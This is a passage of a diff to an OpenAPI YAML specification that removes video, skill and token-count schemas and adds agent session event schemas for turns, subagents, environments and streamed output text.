- description: The video generation model that produced the job.
- status:
- $ref: '#/components/schemas/VideoStatus'
- description: Current lifecycle status of the video job.
- progress:
- type: integer
- description: Approximate completion percentage for the generation task.
- created_at:
- type: integer
- format: unixtime
- description: Unix timestamp (seconds) for when the job was created.
- completed_at:
- anyOf:
- - type: integer
- format: unixtime
- description: Unix timestamp (seconds) for when the job completed, if finished.
- - type: 'null'
- expires_at:
- anyOf:
- - type: integer
- format: unixtime
- description: Unix timestamp (seconds) for when the downloadable assets expire, if set.
- - type: 'null'
- prompt:
- anyOf:
- - type: string
- description: The prompt that was used to generate the video.
- - type: 'null'
- size:
- $ref: '#/components/schemas/VideoSize'
- description: The resolution of the generated video.
- seconds:
- anyOf:
- - type: string
- - $ref: '#/components/schemas/VideoSeconds'
- description: Duration of the generated clip in seconds. For extensions, this is the stitched total duration.
- remixed_from_video_id:
- anyOf:
- - type: string
- description: Identifier of the source video if this video is a remix.
- - type: 'null'
- error:
+ minLength: 0
+ description: The ID of the turn associated with the event.
+ turn:
+ $ref: '#/components/schemas/TurnResource'
+ description: The cancelled turn.
+ usage:
anyOf:
- - $ref: '#/components/schemas/Error-2'
- description: Error payload that explains why generation failed, if applicable.
+ - $ref: '#/components/schemas/TokenUsageResource'
- type: 'null'
- type: object
+ description: Token usage by the root agent during the turn, when available.
required:
- - id
- - object
- - model
- - status
- - progress
- - created_at
- - completed_at
- - expires_at
- - prompt
- - size
- - seconds
- - remixed_from_video_id
- - error
- title: Video job
- description: Structured information describing a generated video job.
- VideoListResource:
- properties:
- object:
- x-stainless-const: true
- default: list
- description: The type of object returned, must be `list`.
- const: list
- data:
- items:
- $ref: '#/components/schemas/VideoResource'
- type: array
- description: A list of items
- first_id:
- anyOf:
- - type: string
- description: The ID of the first item in the list.
- - type: 'null'
- last_id:
- anyOf:
- - type: string
- description: The ID of the last item in the list.
- - type: 'null'
- has_more:
- type: boolean
- description: Whether there are more items available.
+ - type
+ - event_id
+ - session_id
+ - turn_id
+ - turn
+ - usage
+ additionalProperties: false
+ description: Emitted when a turn is cancelled.
+ SessionEventAgentSessionTurnItemAdded:
type: object
- required:
- - object
- - data
- - first_id
- - last_id
- - has_more
- ImageRefParam-2:
properties:
- image_url:
+ type:
type: string
- maxLength: 20971520
- format: uri
- description: A fully qualified URL or base64-encoded data URL.
- file_id:
+ enum:
+ - agent.session.turn.item.added
+ default: agent.session.turn.item.added
+ x-stainless-const: true
+ description: The type of the object. Always `agent.session.turn.item.added`.
+ event_id:
type: string
- example: file-123
- type: object
- required: []
- VideoSeconds:
- type: string
- enum:
- - '4'
- - '8'
- - '12'
- CreateVideoMultipartBody:
- properties:
- model:
- $ref: '#/components/schemas/VideoModel'
- description: 'The video generation model to use (allowed values: sora-2, sora-2-pro). Defaults to `sora-2`.'
- prompt:
+ minLength: 0
+ description: The unique ID of the event.
+ session_id:
type: string
- maxLength: 32000
- minLength: 1
- description: Text prompt that describes the video to generate.
- input_reference:
- anyOf:
- - type: string
- format: binary
- description: Optional reference asset upload or reference object that guides generation.
- - $ref: '#/components/schemas/ImageRefParam-2'
- description: Optional reference asset upload or reference object that guides generation. Provide exactly one of `image_url` or `file_id` when using an object.
- seconds:
- $ref: '#/components/schemas/VideoSeconds'
- description: 'Clip duration in seconds (allowed values: 4, 8, 12). Defaults to 4 seconds.'
- size:
- $ref: '#/components/schemas/VideoSize'
- description: 'Output resolution formatted as width x height (allowed values: 720x1280, 1280x720, 1024x1792, 1792x1024). Defaults to 720x1280.'
- type: object
+ minLength: 0
+ description: The ID of the session associated with the event.
+ turn_id:
+ type:
+ - string
+ - 'null'
+ minLength: 0
+ description: The ID of the turn associated with the event, when applicable.
+ output_index:
+ type:
+ - integer
+ - 'null'
+ format: int64
+ minimum: 0
+ maximum: 4294967295
+ description: The index of the item in the turn output, when the item is agent output.
+ item:
+ $ref: '#/components/schemas/SessionTurnItemResource'
+ description: The item that was added.
required:
- - prompt
- title: Create video multipart request
- description: Multipart parameters for creating a new video generation job.
- CreateVideoJsonBody:
+ - type
+ - event_id
+ - session_id
+ - turn_id
+ - output_index
+ - item
+ additionalProperties: false
+ description: Emitted when an item is added to a turn.
+ SessionEventAgentSessionIdle:
+ type: object
properties:
- model:
- $ref: '#/components/schemas/VideoModel'
- description: 'The video generation model to use (allowed values: sora-2, sora-2-pro). Defaults to `sora-2`.'
- prompt:
+ type:
type: string
- maxLength: 32000
- minLength: 1
- description: Text prompt that describes the video to generate.
- input_reference:
- $ref: '#/components/schemas/ImageRefParam-2'
- description: Optional reference object that guides generation. Provide exactly one of `image_url` or `file_id`.
- seconds:
- $ref: '#/components/schemas/VideoSeconds'
- description: 'Clip duration in seconds (allowed values: 4, 8, 12). Defaults to 4 seconds.'
- size:
- $ref: '#/components/schemas/VideoSize'
- description: 'Output resolution formatted as width x height (allowed values: 720x1280, 1280x720, 1024x1792, 1792x1024). Defaults to 720x1280.'
- type: object
+ enum:
+ - agent.session.idle
+ default: agent.session.idle
+ x-stainless-const: true
+ description: The type of the object. Always `agent.session.idle`.
+ event_id:
+ type: string
+ minLength: 0
+ description: The unique ID of the event.
+ session:
+ $ref: '#/components/schemas/SessionResource'
+ description: The session that became idle.
required:
- - prompt
- title: Create video JSON request
- description: JSON parameters for creating a new video generation job.
- CreateVideoCharacterBody:
+ - type
+ - event_id
+ - session
+ additionalProperties: false
+ description: Emitted when a session becomes idle.
+ SessionEventAgentSessionInProgress:
+ type: object
properties:
- video:
+ type:
type: string
- format: binary
- description: Video file used to create a character.
- name:
+ enum:
+ - agent.session.in_progress
+ default: agent.session.in_progress
+ x-stainless-const: true
+ description: The type of the object. Always `agent.session.in_progress`.
+ event_id:
type: string
- maxLength: 80
- minLength: 1
- description: Display name for this API character.
- type: object
+ minLength: 0
+ description: The unique ID of the event.
+ session:
+ $ref: '#/components/schemas/SessionResource'
+ description: The session that started processing.
required:
- - video
- - name
- title: Create character request
- description: Parameters for creating a character from an uploaded video.
- VideoCharacterResource:
- properties:
- id:
- anyOf:
- - type: string
- description: Identifier for the character creation cameo.
- - type: 'null'
- name:
- anyOf:
- - type: string
- description: Display name for the character.
- - type: 'null'
- created_at:
- type: integer
- format: unixtime
- description: Unix timestamp (in seconds) when the character was created.
+ - type
+ - event_id
+ - session
+ additionalProperties: false
+ description: Emitted when a session starts processing a turn.
+ SessionEventAgentSessionRequiresAction:
type: object
- required:
- - id
- - name
- - created_at
- VideoReferenceInputParam:
properties:
- id:
+ type:
type: string
- description: The identifier of the completed video.
- example: video_123
- type: object
+ enum:
+ - agent.session.requires_action
+ default: agent.session.requires_action
+ x-stainless-const: true
+ description: The type of the object. Always `agent.session.requires_action`.
+ event_id:
+ type: string
+ minLength: 0
+ description: The unique ID of the event.
+ session:
+ $ref: '#/components/schemas/SessionResource'
+ description: The session and its current required actions.
required:
- - id
- description: Reference to the completed video.
- CreateVideoEditMultipartBody:
+ - type
+ - event_id
+ - session
+ additionalProperties: false
+ description: Emitted when a session is waiting for one or more required actions.
+ SessionEventAgentSessionFailed:
+ type: object
properties:
- video:
- anyOf:
- - type: string
- format: binary
- description: Reference to the completed video to edit.
- - $ref: '#/components/schemas/VideoReferenceInputParam'
- description: Reference to the completed video to edit.
- prompt:
+ type:
type: string
- maxLength: 32000
- minLength: 1
- description: Text prompt that describes how to edit the source video.
- type: object
+ enum:
+ - agent.session.failed
+ default: agent.session.failed
+ x-stainless-const: true
+ description: The type of the object. Always `agent.session.failed`.
+ event_id:
+ type: string
+ minLength: 0
+ description: The unique ID of the event.
+ session:
+ $ref: '#/components/schemas/SessionResource'
+ description: The failed session.
required:
- - video
- - prompt
- title: Create video edit multipart request
- description: Parameters for editing an existing generated video.
- CreateVideoEditJsonBody:
+ - type
+ - event_id
+ - session
+ additionalProperties: false
+ description: Emitted when a session fails.
+ SessionEventAgentSessionEnvironmentPending:
+ type: object
properties:
- video:
- $ref: '#/components/schemas/VideoReferenceInputParam'
- description: Reference to the completed video to edit.
- prompt:
+ type:
type: string
- maxLength: 32000
- minLength: 1
- description: Text prompt that describes how to edit the source video.
- type: object
+ enum:
+ - agent.session.environment.pending
+ default: agent.session.environment.pending
+ x-stainless-const: true
+ description: The type of the object. Always `agent.session.environment.pending`.
+ event_id:
+ type: string
+ minLength: 0
+ description: The unique ID of the event.
+ session_id:
+ type: string
+ minLength: 0
+ description: The ID of the session associated with the event.
+ turn_id:
+ type:
+ - string
+ - 'null'
+ minLength: 0
+ description: The ID of the turn associated with the event, when applicable.
+ environment:
+ $ref: '#/components/schemas/SessionEnvironmentStateResource'
+ description: The current environment state.
required:
- - video
- - prompt
- title: Create video edit JSON request
- description: JSON parameters for editing an existing generated video.
- CreateVideoExtendMultipartBody:
+ - type
+ - event_id
+ - session_id
+ - turn_id
+ - environment
+ additionalProperties: false
+ description: Emitted while a session environment is being prepared.
+ SessionEventAgentSessionEnvironmentConnected:
+ type: object
properties:
- video:
- oneOf:
- - type: string
- format: binary
- description: Reference to the completed video to extend.
- - $ref: '#/components/schemas/VideoReferenceInputParam'
- description: Reference to the completed video to extend.
- prompt:
+ type:
type: string
- maxLength: 32000
- minLength: 1
- description: Updated text prompt that directs the extension generation.
- seconds:
- $ref: '#/components/schemas/VideoSeconds'
- description: 'Length of the newly generated extension segment in seconds (allowed values: 4, 8, 12, 16, 20).'
- type: object
+ enum:
+ - agent.session.environment.connected
+ default: agent.session.environment.connected
+ x-stainless-const: true
+ description: The type of the object. Always `agent.session.environment.connected`.
+ event_id:
+ type: string
+ minLength: 0
+ description: The unique ID of the event.
+ session_id:
+ type: string
+ minLength: 0
+ description: The ID of the session associated with the event.
+ turn_id:
+ type:
+ - string
+ - 'null'
+ minLength: 0
+ description: The ID of the turn associated with the event, when applicable.
+ environment:
+ $ref: '#/components/schemas/SessionEnvironmentStateResource'
+ description: The current environment state.
required:
- - video
- - prompt
- - seconds
- title: Create video extension multipart request
- description: Multipart parameters for extending an existing generated video.
- CreateVideoExtendJsonBody:
+ - type
+ - event_id
+ - session_id
+ - turn_id
+ - environment
+ additionalProperties: false
+ description: Emitted when a session environment connects.
+ SessionEventAgentSessionEnvironmentDisconnected:
+ type: object
properties:
- video:
- $ref: '#/components/schemas/VideoReferenceInputParam'
- description: Reference to the completed video to extend.
- prompt:
+ type:
type: string
- maxLength: 32000
- minLength: 1
- description: Updated text prompt that directs the extension generation.
- seconds:
- $ref: '#/components/schemas/VideoSeconds'
- description: 'Length of the newly generated extension segment in seconds (allowed values: 4, 8, 12, 16, 20).'
- type: object
+ enum:
+ - agent.session.environment.disconnected
+ default: agent.session.environment.disconnected
+ x-stainless-const: true
+ description: The type of the object. Always `agent.session.environment.disconnected`.
+ event_id:
+ type: string
+ minLength: 0
+ description: The unique ID of the event.
+ session_id:
+ type: string
+ minLength: 0
+ description: The ID of the session associated with the event.
+ turn_id:
+ type:
+ - string
+ - 'null'
+ minLength: 0
+ description: The ID of the turn associated with the event, when applicable.
+ environment:
+ $ref: '#/components/schemas/SessionEnvironmentStateResource'
+ description: The current environment state.
required:
- - video
- - prompt
- - seconds
- title: Create video extension JSON request
- description: JSON parameters for extending an existing generated video.
- DeletedVideoResource:
+ - type
+ - event_id
+ - session_id
+ - turn_id
+ - environment
+ additionalProperties: false
+ description: Emitted when a session environment disconnects.
+ SessionEventAgentSessionEnvironmentFailed:
+ type: object
properties:
- object:
+ type:
type: string
enum:
- - video.deleted
- description: The object type that signals the deletion response.
- default: video.deleted
+ - agent.session.environment.failed
+ default: agent.session.environment.failed
x-stainless-const: true
- deleted:
- type: boolean
- description: Indicates that the video resource was deleted.
- id:
+ description: The type of the object. Always `agent.session.environment.failed`.
+ event_id:
type: string
- description: Identifier of the deleted video.
- type: object
+ minLength: 0
+ description: The unique ID of the event.
+ session_id:
+ type: string
+ minLength: 0
+ description: The ID of the session associated with the event.
+ turn_id:
+ type:
+ - string
+ - 'null'
+ minLength: 0
+ description: The ID of the turn associated with the event, when applicable.
+ environment:
+ $ref: '#/components/schemas/SessionEnvironmentStateResource'
+ description: The current environment state.
required:
- - object
- - deleted
- - id
- title: Deleted video response
- description: Confirmation payload returned after deleting a video.
- VideoContentVariant:
- type: string
- enum:
- - video
- - thumbnail
- - spritesheet
- CreateVideoRemixBody:
+ - type
+ - event_id
+ - session_id
+ - turn_id
+ - environment
+ additionalProperties: false
+ description: Emitted when a session environment fails.
+ SessionEventAgentSessionSubagentCreated:
+ type: object
properties:
- prompt:
+ type:
type: string
- maxLength: 32000
- minLength: 1
- description: Updated text prompt that directs the remix generation.
- type: object
+ enum:
+ - agent.session.subagent.created
+ default: agent.session.subagent.created
+ x-stainless-const: true
+ description: The type of the object. Always `agent.session.subagent.created`.
+ event_id:
+ type: string
+ minLength: 0
+ description: The unique ID of the event.
+ subagent:
+ $ref: '#/components/schemas/SubagentResource'
+ description: The subagent that was created.
required:
- - prompt
- title: Create video remix request
- description: Parameters for remixing an existing generated video.
- TruncationEnum:
- type: string
- enum:
- - auto
- - disabled
- PersonalityEnum:
- anyOf:
- - type: string
- - type: string
- enum:
- - friendly
- - pragmatic
- TokenCountsBody:
- properties:
- model:
- anyOf:
- - type: string
- description: Model ID used to generate the response, like `gpt-4o` or `o3`. OpenAI offers a wide range of models with different capabilities, performance characteristics, and price points. Refer to the [model guide](https://developers.openai.com/api/docs/models) to browse and compare available models.
- - type: 'null'
- input:
- anyOf:
- - description: Text, image, or file inputs to the model, used to generate a response
- anyOf:
- - type: string
- maxLength: 10485760
- description: A text input to the model, equivalent to a text input with the `user` role.
- - items:
- $ref: '#/components/schemas/InputItem'
- type: array
- maxItems: 131072
- description: A list of one or many input items to the model, containing different content types.
- - type: 'null'
- previous_response_id:
- anyOf:
- - type: string
- description: The unique ID of the previous response to the model. Use this to create multi-turn conversations. Learn more about [conversation state](https://developers.openai.com/api/docs/guides/conversation-state). Cannot be used in conjunction with `conversation`.
- example: resp_123
- - type: 'null'
- tools:
- anyOf:
- - items:
- $ref: '#/components/schemas/Tool'
- type: array
- description: An array of tools the model may call while generating a response. You can specify which tool to use by setting the `tool_choice` parameter.
- - type: 'null'
- text:
- anyOf:
- - $ref: '#/components/schemas/ResponseTextParam'
- - type: 'null'
- reasoning:
- anyOf:
- - $ref: '#/components/schemas/Reasoning'
- description: '**gpt-5 and o-series models only** Configuration options for [reasoning models](https://developers.openai.com/api/docs/guides/reasoning).'
- - type: 'null'
- truncation:
- $ref: '#/components/schemas/TruncationEnum'
- description: 'The truncation strategy to use for the model response. - `auto`: If the input to this Response exceeds the model''s context window size, the model will truncate the response to fit the context window by dropping items from the beginning of the conversation. - `disabled` (default): If the input size will exceed the context window size for a model, the request will fail with a 400 error.'
- deprecated: true
- instructions:
- anyOf:
- - type: string
- description: |-
- A system (or developer) message inserted into the model's context.
- When used along with `previous_response_id`, the instructions from a previous response will not be carried over to the next response. This makes it simple to swap out system (or developer) messages in new responses.
- - type: 'null'
- personality:
- $ref: '#/components/schemas/PersonalityEnum'
- description: A model-owned style preset to apply to this request. Omit this parameter to use the model's default style. Supported values may expand over time. Values must be at most 64 characters.
- conversation:
- anyOf:
- - $ref: '#/components/schemas/ConversationParam'
- - type: 'null'
- tool_choice:
- anyOf:
- - $ref: '#/components/schemas/ToolChoiceParam'
- description: Controls which tool the model should use, if any.
- - type: 'null'
- parallel_tool_calls:
- anyOf:
- - type: boolean
- description: Whether to allow the model to run tool calls in parallel.
- - type: 'null'
+ - type
+ - event_id
+ - subagent
+ additionalProperties: false
+ description: Emitted when a subagent is created.
+ SessionEventAgentSessionSubagentActive:
type: object
- required: []
- TokenCountsResource:
properties:
- object:
+ type:
type: string
enum:
- - response.input_tokens
- default: response.input_tokens
+ - agent.session.subagent.active
+ default: agent.session.subagent.active
x-stainless-const: true
- input_tokens:
- type: integer
+ description: The type of the object. Always `agent.session.subagent.active`.
+ event_id:
+ type: string
+ minLength: 0
+ description: The unique ID of the event.
+ subagent:
+ $ref: '#/components/schemas/SubagentResource'
+ description: The subagent that resumed.
+ required:
+ - type
+ - event_id
+ - subagent
+ additionalProperties: false
+ description: Emitted when a closed subagent successfully resumes.
+ SessionEventAgentSessionSubagentClosed:
type: object
+ properties:
+ type:
+ type: string
+ enum:
+ - agent.session.subagent.closed
+ default: agent.session.subagent.closed
+ x-stainless-const: true
+ description: The type of the object. Always `agent.session.subagent.closed`.
+ event_id:
+ type: string
+ minLength: 0
+ description: The unique ID of the event.
+ subagent:
+ $ref: '#/components/schemas/SubagentResource'
+ description: The subagent that was closed.
required:
- - object
- - input_tokens
- title: Token counts
- example:
- object: response.input_tokens
- input_tokens: 123
- PromptCacheRetentionEnum:
- type: string
- enum:
- - in_memory
- - 24h
- ServiceTierEnum:
- type: string
- enum:
- - auto
- - default
- - fast
- - flex
- - priority
- CompactResponseMethodPublicBody:
+ - type
+ - event_id
+ - subagent
+ additionalProperties: false
+ description: Emitted when a subagent is closed.
+ AssistantMessageItemResource:
+ type: object
properties:
- model:
- $ref: '#/components/schemas/ModelIdsCompaction'
- input:
- anyOf:
- - description: Text, image, or file inputs to the model, used to generate a response
- anyOf:
- - type: string
- maxLength: 10485760
- description: A text input to the model, equivalent to a text input with the `user` role.
- - items:
- $ref: '#/components/schemas/InputItem'
- type: array
- maxItems: 131072
- description: A list of one or many input items to the model, containing different content types.
- - type: 'null'
- previous_response_id:
- anyOf:
- - type: string
- description: The unique ID of the previous response to the model. Use this to create multi-turn conversations. Learn more about [conversation state](https://developers.openai.com/api/docs/guides/conversation-state). Cannot be used in conjunction with `conversation`.
- example: resp_123
- - type: 'null'
- instructions:
- anyOf:
- - type: string
- description: |-
- A system (or developer) message inserted into the model's context.
- When used along with `previous_response_id`, the instructions from a previous response will not be carried over to the next response. This makes it simple to swap out system (or developer) messages in new responses.
- - type: 'null'
- prompt_cache_key:
- anyOf:
- - type: string
- maxLength: 64
- description: A key to use when reading from or writing to the prompt cache.
- - type: 'null'
- prompt_cache_retention:
- anyOf:
- - $ref: '#/components/schemas/PromptCacheRetentionEnum'
- description: How long to retain a prompt cache entry created by this request.
- deprecated: true
- - type: 'null'
- prompt_cache_options:
- anyOf:
- - $ref: '#/components/schemas/PromptCacheOptionsParam'
- - type: 'null'
- service_tier:
+ type:
+ type: string
+ enum:
+ - message
+ default: message
+ x-stainless-const: true
+ description: The item type. Always `message`.
+ id:
+ type: string
+ minLength: 0
+ description: The ID of the message.
+ turn_id:
+ type: string
+ minLength: 0
+ description: The ID of the turn that contains this item.
+ role:
+ type: string
+ enum:
+ - assistant
+ default: assistant
+ x-stainless-const: true
+ description: The role of the message author. Always `assistant`.
+ status:
+ $ref: '#/components/schemas/OutputItemStatusResource'
+ description: The status of the message.
+ content:
+ type: array
+ items:
+ $ref: '#/components/schemas/OutputTextResource'
+ minItems: 0
+ maxItems: 2000
+ description: The content of the message.
+ phase:
anyOf:
- - $ref: '#/components/schemas/ServiceTierEnum'
- description: |-
- Specifies the processing type used for serving the request. - If set to 'auto', then the request will be processed with the service tier configured in the Project settings. Unless otherwise configured, the Project will use 'default'. - If set to 'default', then the request will be processed with the standard pricing and performance for the selected model. - If set to '[flex](https://developers.openai.com/api/docs/guides/flex-processing)', then the request will be processed with the Flex Processing service tier. - To opt-in to [Fast mode](https://developers.openai.com/api/docs/guides/fast-mode) at the request level, include the `service_tier=fast` or `service_tier=priority` parameter for Responses or Chat Completions. For models with a dedicated Fast tier, either value resolves to `service_tier=fast`; for other models, either value resolves to `service_tier=priority`. - When not set, the default behavior is 'auto'.
- When the `service_tier` parameter is set, the response body will include the `service_tier` value based on the processing mode actually used to serve the request. This response value may be different from the value set in the parameter.
+ - $ref: '#/components/schemas/MessagePhaseResource'
- type: 'null'
- type: object
+ description: The phase of the assistant message.
required:
- - model
- ItemField:
+ - type
+ - id
+ - turn_id
+ - role
+ - status
+ - content
+ - phase
+ additionalProperties: false
+ description: An assistant message produced by the agent.
+ AgentOutputItemResource:
+ description: An output item produced by an agent.
discriminator:
propertyName: type
- description: An item representing a message, tool call, tool output, reasoning, or other response element.
+ mapping:
+ message: '#/components/schemas/AssistantMessageItemResource'
+ reasoning: '#/components/schemas/ReasoningItemResource'
+ function_call: '#/components/schemas/FunctionCallItemResource'
+ mcp_call: '#/components/schemas/McpCallItemResource'
+ web_search_call: '#/components/schemas/WebSearchCallItemResource'
+ command_execution: '#/components/schemas/CommandExecutionItemResource'
+ interrupt_subagent_call: '#/components/schemas/InterruptSubagentCallItemResource'
+ create_subagent_call: '#/components/schemas/CreateSubagentCallItemResource'
+ send_subagent_input_call: '#/components/schemas/SendSubagentInputCallItemResource'
+ resume_subagent_call: '#/components/schemas/ResumeSubagentCallItemResource'
+ wait_for_subagents_call: '#/components/schemas/WaitForSubagentsCallItemResource'
+ close_subagent_call: '#/components/schemas/CloseSubagentCallItemResource'
+ x-oai-discriminator-values:
+ - message
+ - reasoning
+ - function_call
+ - mcp_call
+ - web_search_call
+ - command_execution
+ - create_subagent_call
+ - send_subagent_input_call
+ - resume_subagent_call
+ - wait_for_subagents_call
+ - interrupt_subagent_call
+ - close_subagent_call
anyOf:
- - $ref: '#/components/schemas/Message'
- - $ref: '#/components/schemas/Program'
- - $ref: '#/components/schemas/ProgramOutput'
- - $ref: '#/components/schemas/FunctionToolCall'
- - $ref: '#/components/schemas/ToolSearchCall'
- - $ref: '#/components/schemas/ToolSearchOutput'
- - $ref: '#/components/schemas/AdditionalTools'
- - $ref: '#/components/schemas/FunctionToolCallOutput'
- - $ref: '#/components/schemas/FileSearchToolCall'
- - $ref: '#/components/schemas/WebSearchToolCall'
- - $ref: '#/components/schemas/ImageGenToolCall'
- - $ref: '#/components/schemas/ComputerToolCall'
- - $ref: '#/components/schemas/ComputerToolCallOutputResource'
- - $ref: '#/components/schemas/ReasoningItem'
- - $ref: '#/components/schemas/CompactionBody'
- - $ref: '#/components/schemas/CodeInterpreterToolCall'
- - $ref: '#/components/schemas/LocalShellToolCall'
- deprecated: true
- - $ref: '#/components/schemas/LocalShellToolCallOutput'
- deprecated: true
- - $ref: '#/components/schemas/FunctionShellCall'
- - $ref: '#/components/schemas/FunctionShellCallOutput'
- - $ref: '#/components/schemas/ApplyPatchToolCall'
- - $ref: '#/components/schemas/ApplyPatchToolCallOutput'
- - $ref: '#/components/schemas/MCPListTools'
- - $ref: '#/components/schemas/MCPApprovalRequest'
- - $ref: '#/components/schemas/MCPApprovalResponseResource'
- - $ref: '#/components/schemas/MCPToolCall'
- - $ref: '#/components/schemas/CustomToolCall'
- - $ref: '#/components/schemas/CustomToolCallOutput'
- CompactResource:
+ - $ref: '#/components/schemas/AssistantMessageItemResource'
+ - $ref: '#/components/schemas/ReasoningItemResource'
+ - $ref: '#/components/schemas/FunctionCallItemResource'
+ - $ref: '#/components/schemas/McpCallItemResource'
+ - $ref: '#/components/schemas/WebSearchCallItemResource'
+ - $ref: '#/components/schemas/CommandExecutionItemResource'
+ - $ref: '#/components/schemas/CreateSubagentCallItemResource'
+ - $ref: '#/components/schemas/SendSubagentInputCallItemResource'
+ - $ref: '#/components/schemas/ResumeSubagentCallItemResource'
+ - $ref: '#/components/schemas/WaitForSubagentsCallItemResource'
+ - $ref: '#/components/schemas/InterruptSubagentCallItemResource'
+ - $ref: '#/components/schemas/CloseSubagentCallItemResource'
+ SessionEventAgentSessionTurnItemDone:
+ type: object
properties:
- id:
- type: string
- description: The unique identifier for the compacted response.
- object:
+ type:
type: string
enum:
- - response.compaction
- description: The object type. Always `response.compaction`.
- default: response.compaction
+ - agent.session.turn.item.done
+ default: agent.session.turn.item.done
x-stainless-const: true
- output:
- type: array
- description: The compacted list of output items. This is a list of all user messages, followed by a single compaction item.
- items:
- $ref: '#/components/schemas/OutputItem'
- created_at:
+ description: The type of the object. Always `agent.session.turn.item.done`.
+ event_id:
+ type: string
+ minLength: 0
+ description: The unique ID of the event.
+ session_id:
+ type: string
+ minLength: 0
+ description: The ID of the session associated with the event.
+ turn_id:
+ type:
+ - string
+ - 'null'
+ minLength: 0
+ description: The ID of the turn associated with the event, when applicable.
+ output_index:
type: integer
- format: unixtime
- description: Unix timestamp (in seconds) when the compacted conversation was created.
- usage:
- $ref: '#/components/schemas/ResponseUsage'
- description: Token accounting for the compaction pass, including cached, reasoning, and total tokens.
+ format: int64
+ minimum: 0
+ maximum: 4294967295
+ description: The index of the output item in the turn output.
+ item:
+ $ref: '#/components/schemas/AgentOutputItemResource'
+ description: The completed output item.
+ required:
+ - type
+ - event_id
+ - session_id
+ - turn_id
+ - output_index
+ - item
+ additionalProperties: false
+ description: Emitted when an output item is complete.
+ SessionEventAgentSessionTurnContentPartAdded:
type: object
- required:
- - id
- - object
- - output
- - created_at
- - usage
- title: The compacted response object
- SkillResource:
properties:
- id:
- type: string
- description: Unique identifier for the skill.
- object:
+ type:
type: string
enum:
- - skill
- description: The object type, which is `skill`.
- default: skill
+ - agent.session.turn.content_part.added
+ default: agent.session.turn.content_part.added
x-stainless-const: true
- name:
- type: string
- description: Name of the skill.
- description:
+ description: The type of the object. Always `agent.session.turn.content_part.added`.
+ event_id:
type: string
- description: Description of the skill.
- created_at:
- type: integer
- format: unixtime
- description: Unix timestamp (seconds) for when the skill was created.
- default_version:
+ minLength: 0
+ description: The unique ID of the event.
+ session_id:
type: string
- description: Default version for the skill.
- latest_version:
+ minLength: 0
+ description: The ID of the session associated with the event.
+ turn_id:
+ type:
+ - string
+ - 'null'
+ minLength: 0
+ description: The ID of the turn associated with the event, when applicable.
+ item_id:
type: string
- description: Latest version for the skill.
- type: object
- required:
- - id
- - object
- - name
- - description
- - created_at
- - default_version
- - latest_version
- SkillListResource:
- properties:
- object:
- x-stainless-const: true
- default: list
- description: The type of object returned, must be `list`.
- const: list
- data:
- items:
- $ref: '#/components/schemas/SkillResource'
- type: array
- description: A list of items
- first_id:
- anyOf:
- - type: string
- description: The ID of the first item in the list.
- - type: 'null'
- last_id:
- anyOf:
- - type: string
- description: The ID of the last item in the list.
- - type: 'null'
- has_more:
- type: boolean
- description: Whether there are more items available.
- type: object
+ minLength: 0
+ description: The ID of the message item.
+ output_index:
+ type: integer
+ format: int64
+ minimum: 0
+ maximum: 4294967295
+ description: The index of the item in the turn output.
+ content_index:
+ type: integer
+ format: int64
+ minimum: 0
+ maximum: 4294967295
+ description: The index of the content part in the message.
+ part:
+ $ref: '#/components/schemas/OutputTextResource'
+ description: The initial content part.
required:
- - object
- - data
- - first_id
- - last_id
- - has_more
- CreateSkillBody:
- properties:
- files:
- anyOf:
- - items:
- type: string
- format: binary
- type: array
- maxItems: 500
- description: Skill files to upload (directory upload) or a single zip file.
- - type: string
- format: binary
- description: Skill zip file to upload.
+ - type
+ - event_id
+ - session_id
+ - turn_id
+ - item_id
+ - output_index
+ - content_index
+ - part
+ additionalProperties: false
+ description: Emitted when an output text content part is added.
+ SessionEventAgentSessionTurnContentPartDone:
type: object
- description: Uploads a skill either as a directory (multipart `files[]`) or as a single zip file.
- title: Create skill request
- SetDefaultSkillVersionBody:
properties:
- default_version:
+ type:
type: string
- description: The skill version number to set as default.
- type: object
+ enum:
+ - agent.session.turn.content_part.done
+ default: agent.session.turn.content_part.done
+ x-stainless-const: true
+ description: The type of the object. Always `agent.session.turn.content_part.done`.
+ event_id:
+ type: string
+ minLength: 0
+ description: The unique ID of the event.
+ session_id:
+ type: string
+ minLength: 0
+ description: The ID of the session associated with the event.
+ turn_id:
+ type:
+ - string
+ - 'null'
+ minLength: 0
+ description: The ID of the turn associated with the event, when applicable.
+ item_id:
+ type: string
+ minLength: 0
+ description: The ID of the message item.
+ output_index:
+ type: integer
+ format: int64
+ minimum: 0
+ maximum: 4294967295
+ description: The index of the item in the turn output.
+ content_index:
+ type: integer
+ format: int64
+ minimum: 0
+ maximum: 4294967295
+ description: The index of the content part in the message.
+ part:
+ $ref: '#/components/schemas/OutputTextResource'
+ description: The completed content part.
required:
- - default_version
- title: Update skill request
- description: Updates the default version pointer for a skill.
- DeletedSkillResource:
+ - type
+ - event_id
+ - session_id
+ - turn_id
+ - item_id
+ - output_index
+ - content_index
+ - part
+ additionalProperties: false
+ description: Emitted when an output content part is complete.
+ SessionEventAgentSessionTurnOutputTextDelta:
+ type: object
properties:
- object:
+ type:
type: string
enum:
- - skill.deleted
- default: skill.deleted
+ - agent.session.turn.output_text.delta
+ default: agent.session.turn.output_text.delta
x-stainless-const: true
- deleted:
- type: boolean
- id:
+ description: The type of the object. Always `agent.session.turn.output_text.delta`.
+ event_id:
type: string
- type: object
+ minLength: 0
+ description: The unique ID of the event.
+ session_id:
+ type: string
+ minLength: 0
+ description: The ID of the session associated with the event.
+ turn_id:
+ type:
+ - string
+ - 'null'
+ minLength: 0
+ description: The ID of the turn associated with the event, when applicable.
+ item_id:
+ type: string
+ minLength: 0
+ description: The ID of the message item.
+ output_index:
+ type: integer
+ format: int64
+ minimum: 0
+ maximum: 4294967295
+ description: The index of the item in the turn output.
+ content_index:
+ type: integer
+ format: int64
+ minimum: 0
+ maximum: 4294967295
+ description: The index of the content part in the message.
+ delta:
+ type: string
+ minLength: 0
+ description: The text that was appended.
required:
- - object
- - deleted
- - id
- SkillVersionResource:
+ - type
+ - event_id
+ - session_id
+ - turn_id
+ - item_id
+ - output_index
+ - content_index
+ - delta
+ additionalProperties: false
+ description: Emitted when text is appended to an output text content part.
+ SessionEventAgentSessionTurnOutputTextDone:
+ type: object
properties:
- object:
+ type:
type: string
enum:
- - skill.version
- description: The object type, which is `skill.version`.
- default: skill.version
+ - agent.session.turn.output_text.done
+ default: agent.session.turn.output_text.done
x-stainless-const: true
- id:
+ description: The type of the object. Always `agent.session.turn.output_text.done`.
+ event_id:
type: string
- description: Unique identifier for the skill version.
- skill_id:
+ minLength: 0
+ description: The unique ID of the event.
+ session_id:
